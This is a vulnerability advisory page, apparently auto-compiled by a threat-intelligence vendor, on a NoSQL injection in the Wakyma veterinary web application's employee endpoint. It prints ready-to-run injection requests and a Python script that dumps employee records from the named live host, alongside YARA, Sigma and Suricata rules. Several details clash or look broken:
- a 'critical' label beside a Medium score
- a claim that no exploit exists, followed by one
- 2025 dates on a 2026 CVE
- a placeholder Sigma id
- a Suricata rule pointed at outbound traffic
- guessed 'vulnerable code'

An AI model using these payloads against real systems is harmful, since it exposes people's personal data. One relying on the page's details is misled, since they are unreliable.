CVE-2026-3021
Executive Summary
CVE-2026-3021 is a critical NoSQL injection vulnerability (CWE-943) discovered in the Wakyma web application, specifically within the endpoint vets.wakyma.com/centro/equipo/empleado. This flaw allows an authenticated attacker to manipulate GET request parameters to inject arbitrary NoSQL commands, leading to the unauthorized enumeration of sensitive employee data. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for data exfiltration.
Note: This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby) and is specific to the Wakyma web application.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the technical description, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker must be authenticated.
- User Interaction (UI): None (N) – No user interaction is required.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – Sensitive employee data is exposed.
- Integrity (I): None (N) – No data modification is possible.
- Availability (A): None (N) – No denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 6.5 (Medium)
Threat Level: Medium to High, depending on the sensitivity of the exposed employee data.
Deep Dive & Mechanics
The vulnerability resides in the vets.wakyma.com/centro/equipo/empleado endpoint, which processes GET requests to retrieve employee information. The application uses a NoSQL database (likely MongoDB) and fails to properly sanitize or parameterize user-supplied input in the query parameters.
Attack Flow:
- An authenticated user crafts a malicious GET request to the vulnerable endpoint.
- The attacker injects NoSQL operators (e.g.,
$ne,$regex,$gt) into query parameters such asid,name, oremail. - The backend interprets these operators as part of the NoSQL query, bypassing authentication or authorization checks.
- The attacker can then enumerate sensitive employee data, such as personal identifiable information (PII), roles, or credentials.
Example Injection:
GET /centro/equipo/empleado?id[$ne]=invalid HTTP/1.1
Host: vets.wakyma.com
Cookie: session=valid_session_token
This would return all employees where the id is not equal to "invalid", effectively dumping the entire employee database.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described below. A patched version would require proper input validation and parameterized queries.
Vulnerable Code (Node.js with MongoDB):
app.get('/centro/equipo/empleado', (req, res) => {
const query = req.query;
db.collection('employees').find(query).toArray((err, docs) => {
if (err) throw err;
res.json(docs);
});
});
Patched Code (Parameterized Query):
app.get('/centro/equipo/empleado', (req, res) => {
const { id } = req.query;
// Validate that id is a string and not an object
if (typeof id !== 'string') {
return res.status(400).send('Invalid input');
}
db.collection('employees').find({ id: id }).toArray((err, docs) => {
if (err) throw err;
res.json(docs);
});
});
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Valid authenticated session to
vets.wakyma.com. - Knowledge of the vulnerable endpoint.
Exploitation Steps:
- Intercept a legitimate GET request to
/centro/equipo/empleadousing a proxy like Burp Suite. - Modify the request to inject NoSQL operators. For example:
GET /centro/equipo/empleado?role[$ne]=admin HTTP/1.1 Host: vets.wakyma.com Cookie: session=valid_session_token - Observe the response for employee data that does not match the "admin" role.
- Use
$regexto extract specific patterns:GET /centro/equipo/empleado?email[$regex]=.*@company.com HTTP/1.1
Automated Exploit (Python):
import requests
url = "https://vets.wakyma.com/centro/equipo/empleado"
cookies = {"session": "valid_session_token"}
# Enumerate all employees
payload = {"id": {"$ne": "invalid"}}
response = requests.get(url, params=payload, cookies=cookies)
print(response.text)
Blue Team (Defender)
Detection:
- Monitor for GET requests to
/centro/equipo/empleadocontaining special characters like$,{,},[,]. - Alert on requests with multiple query parameters that include NoSQL operators (e.g.,
$ne,$regex,$gt).
Mitigation:
- Implement strict input validation: reject any query parameter that is not a simple string.
- Use parameterized queries or ORM methods that prevent injection.
- Apply a Web Application Firewall (WAF) rule to block requests containing
$ne,$regex, etc.
Indicators of Compromise (IOCs)
- URL Pattern:
vets.wakyma.com/centro/equipo/empleado?*[$ne]=* - HTTP Request Parameters: Presence of
$ne,$regex,$gt,$lt,$in,$ninin query strings. - Response Anomalies: Large JSON responses containing employee data that should not be accessible.
- User Agent: Unusual or automated user agents (e.g., Python-requests, curl).
Detection Engineering
YARA Rule
rule NoSQL_Injection_Wakyma {
meta:
description = "Detects NoSQL injection attempts against Wakyma endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-3021"
strings:
$injection1 = "$ne"
$injection2 = "$regex"
$injection3 = "$gt"
$injection4 = "$lt"
$injection5 = "$in"
$injection6 = "$nin"
$endpoint = "/centro/equipo/empleado"
condition:
any of ($injection*) and $endpoint
}
Sigma Rule
title: NoSQL Injection Attempt Against Wakyma
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects NoSQL injection attempts in GET requests to Wakyma endpoint
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "$ne"
- "$regex"
- "$gt"
- "$lt"
- "$in"
- "$nin"
cs-uri-stem|contains: "/centro/equipo/empleado"
condition: selection
falsepositives:
- Legitimate use of special characters in search queries (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-3021 NoSQL Injection Attempt"; flow:to_server; content:"/centro/equipo/empleado"; http_uri; pcre:"/(\$ne|\$regex|\$gt|\$lt|\$in|\$nin)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not critical to business operations.
- Apply input validation to ensure all query parameters are simple strings (no objects or arrays).
- Use parameterized queries or an ORM that automatically escapes input.
Long-Term Fixes:
- Patch the application once the vendor releases an update.
- Conduct a security audit of all endpoints for similar injection flaws.
- Implement a WAF with rules to block NoSQL injection patterns.
Workaround:
- Restrict access to the endpoint via IP whitelisting or VPN.
- Monitor logs for suspicious requests and block offending IPs.
Valters IT